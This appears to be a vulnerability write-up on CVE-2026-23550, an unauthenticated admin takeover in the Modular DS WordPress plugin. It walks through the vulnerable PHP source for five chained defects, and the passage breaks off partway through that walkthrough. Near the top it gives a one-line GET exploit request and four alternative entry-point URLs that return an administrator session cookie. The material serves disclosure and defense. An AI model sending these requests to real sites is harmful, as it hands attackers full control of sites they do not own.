
Root-cause analysis, PoC, and detection guidance for CVE-2026-23550, a critical unauthenticated admin session takeover in the WordPress plugin Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Root Cause Analysis · Source Code Walkthrough · Patch Diff · Educational PoC
By: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) is a WordPress site-management plugin with 40,000+ active installs. Versions ≤ 2.5.1 contain a chain of five compounding defects that allow any unauthenticated attacker to bypass authentication, invoke the plugin's internal login endpoint, and receive awordpress_logged_in_*session cookie for the first administrator account — with a single HTTP GET request.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Result: full administrator takeover. Attacker can install malicious plugins, drop webshells, create backup admin accounts, exfiltrate database.
| Field | Value |
|---|---|
| Plugin Name | Modular DS |
| Slug | modular-connector |
| Vulnerable | <= 2.5.1 |
| Patched | 2.5.2 |
| Active Installs | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identification and Authentication Failures |
The vulnerability triggers a custom Laravel-derived router embedded in the plugin. The plugin ships its own HTTP kernel (Ares/Framework) that hooks into WordPress's parse_request action to hijack requests before WordPress's own routing takes over.
Prerequisites: none (plugin installed & active, connected to Modular SaaS — default for all live installations).
Entry points (any single one is sufficient):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
The vulnerability is not a single flaw — it is a chain of five compounding defects. Each layer, viewed in isolation, may seem defensible; combined, they collapse into a pre-authentication admin takeover.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Layer | File | Root Issue |
|---|---|---|---|
| ① | Bootstrap gate | HttpUtils.php:64 | Query-only origin=mo check with no crypto/nonce |
| ② | URL→route matcher | Router.php:20 | Implicit URL resolution passed straight to filter |
| ③ | Route override filter | RouteServiceProvider.php:46 | Unknown type falls through with original route intact |
| ④ | Auth guard | ModularGuard.php:16 | Validates server-side OAuth state, not request identity |
| ⑤ | Login controller | AuthController.php:66 | Silent fallback to getAdminUser() on missing input |
HttpUtils::isDirectRequest()File: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ query-param only, no signature
}
return false;
}
Issue: The "direct request" mode — intended to identify legitimate calls from the Modular SaaS backend — is gated on plaintext query parameters with no HMAC, no JWT, no signed nonce, no IP allowlist. Any attacker can flip this switch.
Router::findRoute()File: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolved to route BEFORE filter runs
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Issue: Laravel's routes->match($request) resolves /api/modular-connector/login/xxx into the login route (auth-guarded) before the security filter even runs. The filter receives this route as an input, giving it the burden of proving the route is illegitimate rather than authorizing it explicitly.
bindOldRoutes()File: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));